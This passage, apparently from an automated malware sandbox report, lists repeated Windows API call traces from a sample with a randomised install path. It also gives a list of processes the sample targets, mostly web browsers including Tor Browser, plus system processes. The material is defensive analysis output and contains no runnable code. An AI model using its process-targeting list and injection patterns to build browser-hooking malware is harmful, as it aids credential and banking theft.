CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \iexplore.exe5_2_02706CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \firefox.exe5_2_02706CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \tbb-firefox.exe5_2_02706CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe5_2_02706CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe5_2_02706CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetCommandLineA,StrStrIA,memset,#680,LoadLibraryExA,GetProcAddress,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,strstr,strstr,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree, \iexplore.exe5_2_02701900
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex5_2_026F3610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex5_2_026F3610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex5_2_026F3610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex6_2_00B278A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex6_2_00B278A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex6_2_00B278A0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe6_2_00B26CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \iexplore.exe6_2_00B26CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \firefox.exe6_2_00B26CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \tbb-firefox.exe6_2_00B26CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe6_2_00B26CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA